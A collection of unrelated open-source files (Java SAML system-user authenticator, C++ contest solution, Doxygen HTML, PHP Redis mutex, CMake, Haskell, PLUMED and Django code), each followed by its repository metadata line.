if (isSystemUser(userSimpleName) || isSystemAdmin(userSimpleName)) {
return authenticateWithTokenAndGetTicket(toAuthenticate,
createToken(username, securityConfiguration.get().getCryptoKey().get()));
}
return null;
}
@SuppressWarnings("static-method")
protected boolean isSystemAdmin(String userSimpleName) {
return EqualsHelper.nullSafeEquals(SecurityContext.getSystemAdminName(), userSimpleName, true);
}
protected boolean isSystemUser(String userSimpleName) {
return EqualsHelper.nullSafeEquals(userSimpleName,
SecurityUtil.getUserWithoutTenant(SecurityContext.SYSTEM_USER_NAME), true);
}
@Override
protected void completeAuthentication(User authenticated, SAMLTokenInfo info, Map<String, String> processedToken) {
authenticated.getProperties().putAll(processedToken);
}
/**
* Creates a token for given user.
*
* @param user
* the user to create for
* @param secretKey
* is the encrypt key for saml token
* @return the saml token
*/
protected byte[] createToken(String user, SecretKey secretKey) {
return Base64.encodeBase64(SecurityUtil.encrypt(
createResponse(systemConfiguration.getSystemAccessUrl().getOrFail().toString(),
samlMessageProcessor.getIssuerId().get(), idpConfiguration.getIdpServerURL().get(), user),
secretKey));
}
/**
* Creates the response for authentication in DMS. The time should be synchronized
*
* @param assertionUrl
* the alfresco url
* @param audianceUrl
* the audiance url
* @param samlURL
* the saml url
* @param user
* the user to authenticate
* @return the resulted saml2 message
*/
@SuppressWarnings("static-method")
protected byte[] createResponse(String assertionUrl, String audianceUrl, String samlURL, String user) {
DateTime now = new DateTime(DateTimeZone.UTC);
DateTime barrier = now.plusMinutes(10);
StringBuilder saml = new StringBuilder(2048);
saml.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
.append("<saml2p:Response ID=\"inppcpljfhhckioclinjenlcneknojmngnmgklab\" IssueInstant=\"").append(now)
.append("\" Version=\"2.0\" xmlns:saml2p=\"urn:oasis:names:tc:SAML:2.0:protocol\">")
.append("<saml2p:Status>")
.append("<saml2p:StatusCode Value=\"urn:oasis:names:tc:SAML:2.0:status:Success\"/>")
.append("</saml2p:Status>")
.append("<saml2:Assertion ID=\"ehmifefpmmlichdcpeiogbgcmcbafafckfgnjfnk\" IssueInstant=\"").append(now)
.append("\" Version=\"2.0\" xmlns:saml2=\"urn:oasis:names:tc:SAML:2.0:assertion\">")
.append("<saml2:Issuer Format=\"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\">").append(samlURL)
.append("</saml2:Issuer>").append("<saml2:Subject>").append("<saml2:NameID>").append(user)
.append("</saml2:NameID>")
.append("<saml2:SubjectConfirmation Method=\"urn:oasis:names:tc:SAML:2.0:cm:bearer\">")
.append("<saml2:SubjectConfirmationData InResponseTo=\"0\" NotOnOrAfter=\"").append(barrier)
.append("\" Recipient=\"").append(assertionUrl).append("\"/>").append("</saml2:SubjectConfirmation>")
.append("</saml2:Subject>").append("<saml2:Conditions NotBefore=\"").append(now)
.append("\" NotOnOrAfter=\"").append(barrier).append("\">").append("<saml2:AudienceRestriction>")
.append("<saml2:Audience>").append(audianceUrl).append("</saml2:Audience>")
.append("</saml2:AudienceRestriction>").append("</saml2:Conditions>")
.append("<saml2:AuthnStatement AuthnInstant=\"").append(now).append("\">")
.append("<saml2:AuthnContext>")
.append("<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml2:AuthnContextClassRef>")
.append("</saml2:AuthnContext>").append("</saml2:AuthnStatement>").append("</saml2:Assertion>")
.append("</saml2p:Response>");
return saml.toString().getBytes(StandardCharsets.UTF_8);
}
}
| SirmaITT/conservation-space-1.7.0 | docker/sirma-platform/platform/seip-parent/extensions/emf-sso-saml/src/main/java/com/sirma/itt/emf/authentication/sso/saml/authenticator/SystemUserAuthenticator.java | Java | lgpl-3.0 | 5,864 |
#include <cstdio>
#include <iostream>
#include <vector>
#include <cstring>
#include <cstdlib>
#include <cmath>
using namespace std;
#define DEBUG
#undef DEBUG //uncomment this line to pull out print statements
#ifdef DEBUG
#define TAB '\t'
#define debug(a, end) cout << #a << ": " << a << end
#else
#define debug(a, end)
#endif
typedef pair<int, int> point;
typedef long long int64; //for clarity
typedef vector<int> vi; //?
typedef vector<point> vp; //?
template<class T> void chmin(T &t, T f) { if (t > f) t = f; } //change min
template<class T> void chmax(T &t, T f) { if (t < f) t = f; } //change max
#define UN(v) SORT(v),v.erase(unique(v.begin(),v.end()),v.end())
#define SORT(c) sort((c).begin(),(c).end())
#define FOR(i,a,b) for (int i=(a); i < (b); i++)
#define REP(i,n) FOR(i,0,n)
#define CL(a,b) memset(a,b,sizeof(a))
#define CL2d(a,b,x,y) memset(a, b, sizeof(a[0][0])*x*y)
/*global variables*/
bool first_time = true;
const double PI = acos(-1.0);
int n;
/*global variables*/
void dump()
{
//dump data
}
bool getInput()
{
//get input
if (scanf("%d\n", &n) == EOF) return false;
if (!first_time) printf("\n");
else first_time = false;
return true;
}
bool in_circle(const point& x, double radius)
{
double y = (x.first*x.first + x.second*x.second);
if (y < (radius*radius))
{ debug(y, TAB); debug(radius, endl); }
return y <= (radius*radius);
}
void process()
{
//process input
//int t = (int)ceil(((2*n-1)*(2*n-1))/4*PI)/4;
double r = (double)(2*n-1)/2;
int in = 0, out = 0;
point x;
REP(i, n)
{
REP(j, n)
{
x.first = i;
x.second = j; //top left
if (in_circle(x, r))
{
debug("contained segment", endl);
out++;
x.first = i+1;
x.second = j+1; //bottom right
if (in_circle(x, r))
{
debug("fully in", endl);
in++; out--;
}
}
}
}
printf("In the case n = %d, %d cells contain segments of the circle.\n", n, out*4);
printf("There are %d cells completely contained in the circle.\n", in*4);
}
int main()
{
while (getInput())
{
process();
/*output*/
/*output*/
}
return 0;
}
| mgavin/acm-code | uva/code/356_pegsnholes.cpp | C++ | lgpl-3.0 | 2,379 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<title>BlueViaAndroidSDK: XmlDirectoryPersonalInfoParser Class Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css"/>
</head>
<body onload='searchBox.OnSelectItem(0);'>
<!-- Generated by Doxygen 1.7.3 -->
<script type="text/javascript"><!--
var searchBox = new SearchBox("searchBox", "search",false,'Search');
--></script>
<div id="top">
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">BlueViaAndroidSDK <span id="projectnumber">1.6</span></div>
</td>
</tr>
</tbody>
</table>
</div>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
<li class="current"><a href="annotated.html"><span>Classes</span></a></li>
<li id="searchli">
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Class Members</span></a></li>
</ul>
</div>
</div>
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
</div>
</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
initNavTree('classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser.html','');
</script>
<div id="doc-content">
<div class="header">
<div class="summary">
<a href="#pub-methods">Public Member Functions</a> </div>
<div class="headertitle">
<h1>XmlDirectoryPersonalInfoParser Class Reference</h1> </div>
</div>
<div class="contents">
<!-- doxytag: class="com::bluevia::android::directory::parser::XmlDirectoryPersonalInfoParser" --><!-- doxytag: inherits="com::bluevia::android::directory::parser::DirectoryEntityParser" --><div class="dynheader">
Inheritance diagram for XmlDirectoryPersonalInfoParser:</div>
<div class="dyncontent">
<div class="center">
<img src="classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser.png" usemap="#XmlDirectoryPersonalInfoParser_map" alt=""/>
<map id="XmlDirectoryPersonalInfoParser_map" name="XmlDirectoryPersonalInfoParser_map">
<area href="interfacecom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1DirectoryEntityParser.html" alt="DirectoryEntityParser" shape="rect" coords="0,0,195,24"/>
</map>
</div></div>
<p><a href="classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser-members.html">List of all members.</a></p>
<table class="memberdecls">
<tr><td colspan="2"><h2><a name="pub-methods"></a>
Public Member Functions</h2></td></tr>
<tr><td class="memItemLeft" align="right" valign="top"><a class="el" href="classcom_1_1bluevia_1_1android_1_1directory_1_1data_1_1PersonalInfo.html">PersonalInfo</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser.html#ac20d3cfdf717ba8e8c3b1060d58fa6bd">parse</a> (XmlPullParser parser) throws ParseException </td></tr>
</table>
<hr/><a name="_details"></a><h2>Detailed Description</h2>
<div class="textblock"><p>Xml parser for <a class="el" href="classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser.html">XmlDirectoryPersonalInfoParser</a> entities.</p>
<dl class="author"><dt><b>Author:</b></dt><dd>Telefonica I+D </dd></dl>
</div><hr/><h2>Member Function Documentation</h2>
<a class="anchor" id="ac20d3cfdf717ba8e8c3b1060d58fa6bd"></a><!-- doxytag: member="com::bluevia::android::directory::parser::XmlDirectoryPersonalInfoParser::parse" ref="ac20d3cfdf717ba8e8c3b1060d58fa6bd" args="(XmlPullParser parser)" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="classcom_1_1bluevia_1_1android_1_1directory_1_1data_1_1PersonalInfo.html">PersonalInfo</a> parse </td>
<td>(</td>
<td class="paramtype">XmlPullParser </td>
<td class="paramname"><em>parser</em></td><td>)</td>
<td> throws <a class="el" href="classcom_1_1bluevia_1_1android_1_1commons_1_1parser_1_1ParseException.html">ParseException</a> </td>
</tr>
</table>
</div>
<div class="memdoc">
<p>Parse the next entry on the parser </p>
<dl><dt><b>Parameters:</b></dt><dd>
<table class="params">
<tr><td class="paramname">parser</td><td>is the parser with the entity information </td></tr>
</table>
</dd>
</dl>
<dl class="return"><dt><b>Returns:</b></dt><dd>the <a class="el" href="interfacecom_1_1bluevia_1_1android_1_1commons_1_1Entity.html">Entity</a> object </dd></dl>
<dl><dt><b>Exceptions:</b></dt><dd>
<table class="exception">
<tr><td class="paramname">ParseException</td><td>when an error occurs converting the stream into an object </td></tr>
<tr><td class="paramname">IOException</td><td>when an error reading the stream occurs </td></tr>
</table>
</dd>
</dl>
<p>Implements <a class="el" href="interfacecom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1DirectoryEntityParser.html#af20d62a0d03e9aa80d7520d6ea3b0280">DirectoryEntityParser</a>.</p>
</div>
</div>
</div>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><b>com</b> </li>
<li class="navelem"><b>bluevia</b> </li>
<li class="navelem"><b>android</b> </li>
<li class="navelem"><b>directory</b> </li>
<li class="navelem"><b>parser</b> </li>
<li class="navelem"><a class="el" href="classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser.html">XmlDirectoryPersonalInfoParser</a> </li>
<li class="footer">Generated on Fri May 11 2012 13:19:19 for BlueViaAndroidSDK by 
<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.7.3 </li>
</ul>
</div>
<!--- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark"> </span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark"> </span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark"> </span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark"> </span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark"> </span>Enumerations</a></div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
</body>
</html>
| BlueVia/Official-Library-Android | doc/html/classcom_1_1bluevia_1_1android_1_1directory_1_1parser_1_1XmlDirectoryPersonalInfoParser.html | HTML | lgpl-3.0 | 8,901 |
/*
Copyright 2013-2021 Paul Colby
This file is part of QtAws.
QtAws is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
QtAws is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with QtAws. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef SQSPURGEQUEUERESPONSE_P_H
#define SQSPURGEQUEUERESPONSE_P_H
#include "sqsresponse_p.h"
namespace QtAws {
namespace SqsOld {
class SqsPurgeQueueResponse;
class SqsPurgeQueueResponsePrivate : public SqsResponsePrivate {
public:
QString queueUrl; ///< Created queue URL.
SqsPurgeQueueResponsePrivate(SqsPurgeQueueResponse * const q);
void parsePurgeQueueResponse(QXmlStreamReader &xml);
private:
Q_DECLARE_PUBLIC(SqsPurgeQueueResponse)
Q_DISABLE_COPY(SqsPurgeQueueResponsePrivate)
};
} // namespace SqsOld
} // namespace QtAws
#endif
| pcolby/libqtaws | src/sqs-old/sqspurgequeueresponse_p.h | C | lgpl-3.0 | 1,298 |
class WeavingType < ActiveRecord::Base
acts_as_content_block :belongs_to_attachment => true
has_many :weavings
belongs_to :user
validates_presence_of :name
validates_uniqueness_of :name
end
| agiletoolkit/bcms_mano_weavings | app/models/weaving_type.rb | Ruby | lgpl-3.0 | 200 |
/**
* DynamicReports - Free Java reporting library for creating reports dynamically
*
* Copyright (C) 2010 - 2012 Ricardo Mariaca
* http://dynamicreports.sourceforge.net
*
* This file is part of DynamicReports.
*
* DynamicReports is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* DynamicReports is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with DynamicReports. If not, see <http://www.gnu.org/licenses/>.
*/
package net.sf.dynamicreports.examples.complex.applicationform;
/**
* @author Ricardo Mariaca ([email protected])
*/
public enum MaritalStatus {
SINGLE,
MARRIED,
DIVORCED
}
| robcowell/dynamicreports | dynamicreports-examples/src/main/java/net/sf/dynamicreports/examples/complex/applicationform/MaritalStatus.java | Java | lgpl-3.0 | 1,083 |
<?php
if (file_exists('../libcompactmvc.php'))
include_once ('../libcompactmvc.php');
LIBCOMPACTMVC_ENTRY;
/**
* Mutex
*
* @author Botho Hohbaum <[email protected]>
* @package LibCompactMVC
* @copyright Copyright (c) Botho Hohbaum
* @license BSD License (see LICENSE file in root directory)
* @link https://github.com/bhohbaum/LibCompactMVC
*/
class Mutex {
private $key;
private $token;
private $delay;
private $maxwait;
public function __construct($key) {
$this->key = $key;
$this->token = md5(microtime() . rand(0, 99999999));
$this->delay = 2;
$this->register();
}
public function __destruct() {
$this->unregister();
}
public function lock($maxwait = 60) {
echo ("Lock\n");
$start = time();
$this->maxwait = $maxwait;
while (time() < $start + $maxwait) {
if (count($this->get_requests()) == 0) {
$this->set_request();
// usleep($this->delay * 5000);
if (count($this->get_requests()) == 1) {
if (count($this->get_acks()) + 1 == count($this->get_registrations())) {
return;
}
}
}
if (count($this->get_requests()) == 1) {
if (!$this->is_ack_set() && !$this->is_request_set()) {
$this->set_ack();
}
}
if (count($this->get_requests()) > 1) {
echo ("Increasing delay: " . $this->delay . "\n");
$this->delay += 1;
}
$this->unlock();
usleep(rand(0, $this->delay * 500));
}
throw new MutexException("max wait time elapsed", 500);
}
public function unlock() {
echo ("UnLock\n");
foreach ($this->get_acks() as $ack) {
echo ("Deleting " . $ack . "\n");
RedisAdapter::get_instance()->delete($ack, false);
}
foreach ($this->get_requests() as $request) {
echo ("Deleting " . $request . "\n");
RedisAdapter::get_instance()->delete($request, false);
}
}
private function register() {
echo ("Registering " . REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->set(REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_" . $this->token, 1, false);
RedisAdapter::get_instance()->expire(REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_" . $elem->token, $this->maxwait);
}
private function unregister() {
echo ("Unregistering " . REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->delete(REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_" . $this->token, false);
}
private function get_registrations() {
return RedisAdapter::get_instance()->keys(REDIS_KEY_MUTEX_PFX . "REGISTRATION_" . $this->key . "_*", false);
}
private function set_request() {
echo ("Setting request " . REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->set(REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_" . $this->token, false);
}
private function del_request() {
echo ("Deleting request " . REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->delete(REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_" . $this->token, false);
}
private function get_requests() {
return RedisAdapter::get_instance()->keys(REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_*", false);
}
private function is_request_set() {
return (RedisAdapter::get_instance()->get(REDIS_KEY_MUTEX_PFX . "REQ_" . $this->key . "_" . $this->token, false) != null);
}
private function set_ack() {
echo ("Set ACK " . REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->set(REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_" . $this->token, false);
}
private function del_ack() {
echo ("Del ACK " . REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_" . $this->token . "\n");
RedisAdapter::get_instance()->delete(REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_" . $this->token, false);
}
private function get_acks() {
return RedisAdapter::get_instance()->keys(REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_*", false);
}
private function is_ack_set() {
return (RedisAdapter::get_instance()->get(REDIS_KEY_MUTEX_PFX . "ACK_" . $this->key . "_" . $this->token, false) != null);
}
}
| bhohbaum/libcompactmvc | include/libcompactmvc/mutex.php | PHP | lgpl-3.0 | 4,191 |
if (WIN32)
if (MSVC71)
set (COMPILER_SUFFIX "vc71")
set (COMPILER_SUFFIX_VERSION "71")
endif(MSVC71)
if (MSVC80)
set (COMPILER_SUFFIX "vc80")
set (COMPILER_SUFFIX_VERSION "80")
endif(MSVC80)
if (MSVC90)
set (COMPILER_SUFFIX "vc90")
set (COMPILER_SUFFIX_VERSION "90")
endif(MSVC90)
if (MSVC10)
set (COMPILER_SUFFIX "vc100")
set (COMPILER_SUFFIX_VERSION "100")
endif(MSVC10)
if (MSVC11)
set (COMPILER_SUFFIX "vc110")
set (COMPILER_SUFFIX_VERSION "110")
endif(MSVC11)
if (MSVC12)
set (COMPILER_SUFFIX "vc120")
set (COMPILER_SUFFIX_VERSION "120")
endif(MSVC12)
if (MSVC14)
set (COMPILER_SUFFIX "vc141")
set (COMPILER_SUFFIX_VERSION "141")
endif(MSVC14)
if (MSVC15)
set (COMPILER_SUFFIX "vc141")
set (COMPILER_SUFFIX_VERSION "141")
endif(MSVC15)
endif (WIN32)
if (UNIX)
if (CMAKE_COMPILER_IS_GNUCXX)
#find out the version of gcc being used.
exec_program(${CMAKE_CXX_COMPILER}
ARGS --version
OUTPUT_VARIABLE _COMPILER_VERSION
)
string(REGEX REPLACE ".* ([0-9])\\.([0-9])\\.[0-9].*" "\\1\\2" _COMPILER_VERSION ${_COMPILER_VERSION})
set (COMPILER_SUFFIX "gcc${_COMPILER_VERSION}")
#set (COMPILER_SUFFIX "")
endif (CMAKE_COMPILER_IS_GNUCXX)
endif(UNIX)
if (COMPILER_SUFFIX STREQUAL "")
message(FATAL_ERROR "schism_compiler.cmake: unable to identify supported compiler")
else (COMPILER_SUFFIX STREQUAL "")
set(COMPILER_SUFFIX ${COMPILER_SUFFIX} CACHE STRING "The boost style compiler suffix")
endif (COMPILER_SUFFIX STREQUAL "")
| vrsys/avango | cmake/modules/find_compiler.cmake | CMake | lgpl-3.0 | 1,739 |
{-|
Module : Main-nowx
Description : Модуль с точкой входа для консольной версии приложения
License : LGPLv3
-}
module Main where
import Kernel
import PlayerConsole
import DrawingConsole
import Controller
import AIPlayer
-- | Точка входа для консольной версии программы
main :: IO ()
main = do
winner <- run cfg player1 player2 [drawing]
case winner of
Winner color -> putStrLn $ (show color) ++ " player wins!"
DrawBy color -> putStrLn $ "It's a trap for " ++ (show color) ++ " player!"
return ()
where
cfg = russianConfig
game = createGame cfg
player1 = createAIPlayer 1 2
player2 = createPlayerConsole
drawing = createDrawingConsole
| cmc-haskell-2015/checkers | src/Main-nowx.hs | Haskell | lgpl-3.0 | 805 |
/* +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Copyright (c) 2015-2020 The plumed team
(see the PEOPLE file at the root of the distribution for a list of names)
See http://www.plumed.org for more information.
This file is part of plumed, version 2.
plumed is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
plumed is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with plumed. If not, see <http://www.gnu.org/licenses/>.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ */
#include "core/ActionAtomistic.h"
#include "core/ActionPilot.h"
#include "core/ActionRegister.h"
#include "tools/File.h"
#include "core/PlumedMain.h"
#include "core/Atoms.h"
namespace PLMD
{
namespace generic {
//+PLUMEDOC PRINTANALYSIS DUMPMASSCHARGE
/*
Dump masses and charges on a selected file.
This command dumps a file containing charges and masses.
It does so only once in the simulation (at first step).
File can be recycled in the \ref driver tool.
Notice that masses and charges are only written once at the beginning
of the simulation. In case no atom list is provided, charges and
masses for all atoms are written.
\par Examples
You can add the DUMPMASSCHARGE action at the end of the plumed.dat
file that you use during an MD simulations:
\plumedfile
c1: COM ATOMS=1-10
c2: COM ATOMS=11-20
DUMPATOMS ATOMS=c1,c2 FILE=coms.xyz STRIDE=100
DUMPMASSCHARGE FILE=mcfile
\endplumedfile
In this way, you will be able to use the same masses while processing
a trajectory from the \ref driver . To do so, you need to
add the --mc flag on the driver command line, e.g.
\verbatim
plumed driver --mc mcfile --plumed plumed.dat --ixyz traj.xyz
\endverbatim
With the following input you can dump only the charges for a specific
group.
\plumedfile
solute_ions: GROUP ATOMS=1-121,200-2012
DUMPATOMS FILE=traj.gro ATOMS=solute_ions STRIDE=100
DUMPMASSCHARGE FILE=mcfile ATOMS=solute_ions
\endplumedfile
Notice however that if you want to process the charges
with the driver (e.g. reading traj.gro) you have to fix atom
numbers first, e.g. with the script
\verbatim
awk 'BEGIN{c=0}{
if(match($0,"#")) print ; else {print c,$2,$3; c++}
}' < mc > newmc
}'
\endverbatim
then
\verbatim
plumed driver --mc newmc --plumed plumed.dat --ixyz traj.gro
\endverbatim
*/
//+ENDPLUMEDOC
class DumpMassCharge:
public ActionAtomistic,
public ActionPilot
{
std::string file;
bool first;
bool second;
bool print_masses;
bool print_charges;
public:
explicit DumpMassCharge(const ActionOptions&);
~DumpMassCharge();
static void registerKeywords( Keywords& keys );
void prepare() override;
void calculate() override {}
void apply() override {}
void update() override;
};
PLUMED_REGISTER_ACTION(DumpMassCharge,"DUMPMASSCHARGE")
void DumpMassCharge::registerKeywords( Keywords& keys ) {
Action::registerKeywords( keys );
ActionPilot::registerKeywords( keys );
ActionAtomistic::registerKeywords( keys );
keys.add("compulsory","STRIDE","1","the frequency with which the atoms should be output");
keys.add("atoms", "ATOMS", "the atom indices whose charges and masses you would like to print out");
keys.add("compulsory", "FILE", "file on which to output charges and masses.");
keys.addFlag("ONLY_MASSES",false,"Only output masses to file");
keys.addFlag("ONLY_CHARGES",false,"Only output charges to file");
}
DumpMassCharge::DumpMassCharge(const ActionOptions&ao):
Action(ao),
ActionAtomistic(ao),
ActionPilot(ao),
first(true),
second(true),
print_masses(true),
print_charges(true)
{
std::vector<AtomNumber> atoms;
parse("FILE",file);
if(file.length()==0) error("name of output file was not specified");
log.printf(" output written to file %s\n",file.c_str());
parseAtomList("ATOMS",atoms);
if(atoms.size()==0) {
for(int i=0; i<plumed.getAtoms().getNatoms(); i++) {
atoms.push_back(AtomNumber::index(i));
}
}
bool only_masses = false;
parseFlag("ONLY_MASSES",only_masses);
if(only_masses) {
print_charges = false;
log.printf(" only masses will be written to file\n");
}
bool only_charges = false;
parseFlag("ONLY_CHARGES",only_charges);
if(only_charges) {
print_masses = false;
log.printf(" only charges will be written to file\n");
}
checkRead();
log.printf(" printing the following atoms:" );
for(unsigned i=0; i<atoms.size(); ++i) log.printf(" %d",atoms[i].serial() );
log.printf("\n");
requestAtoms(atoms);
if(only_masses && only_charges) {
plumed_merror("using both ONLY_MASSES and ONLY_CHARGES doesn't make sense");
}
}
void DumpMassCharge::prepare() {
if(!first && second) {
requestAtoms(std::vector<AtomNumber>());
second=false;
}
}
void DumpMassCharge::update() {
if(!first) return;
first=false;
OFile of;
of.link(*this);
of.open(file);
for(unsigned i=0; i<getNumberOfAtoms(); i++) {
int ii=getAbsoluteIndex(i).index();
of.printField("index",ii);
if(print_masses) {of.printField("mass",getMass(i));}
if(print_charges) {of.printField("charge",getCharge(i));}
of.printField();
}
}
DumpMassCharge::~DumpMassCharge() {
}
}
}
| PabloPiaggi/plumed2 | src/generic/DumpMassCharge.cpp | C++ | lgpl-3.0 | 5,635 |
" Settings for tests. "
from settings.project import *
# Databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': ':memory:',
'USER': '',
'PASSWORD': '',
'TEST_CHARSET': 'utf8',
}}
# Caches
CACHES['default']['BACKEND'] = 'django.core.cache.backends.locmem.LocMemCache'
CACHES['default']['KEY_PREFIX'] = '_'.join((PROJECT_NAME, 'TST'))
# pymode:lint_ignore=W404
| klen/makesite | makesite/modules/django/settings/test.py | Python | lgpl-3.0 | 440 |
//
// Copyright 2012 Josh Blum
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
#ifndef INCLUDED_LIBTSBE_ELEMENT_IMPL_HPP
#define INCLUDED_LIBTSBE_ELEMENT_IMPL_HPP
#include <tsbe/thread_pool.hpp>
#include <tsbe_impl/common_impl.hpp>
#include <vector>
#include <queue>
#include <iostream>
namespace tsbe
{
//! ElementImpl is both a topology and a block to allow interconnection
struct ElementImpl
{
ElementImpl(void)
{
//NOP
}
~ElementImpl(void)
{
this->actor.reset();
}
bool block;
bool is_block(void)
{
return block;
}
boost::shared_ptr<Actor> actor;
boost::shared_ptr<Theron::Framework> framework;
ThreadPool thread_pool;
};
} //namespace tsbe
#endif /*INCLUDED_LIBTSBE_ELEMENT_IMPL_HPP*/
| guruofquality/tsbe | lib/tsbe_impl/element_impl.hpp | C++ | lgpl-3.0 | 1,398 |
package org.molgenis.lifelines.catalog;
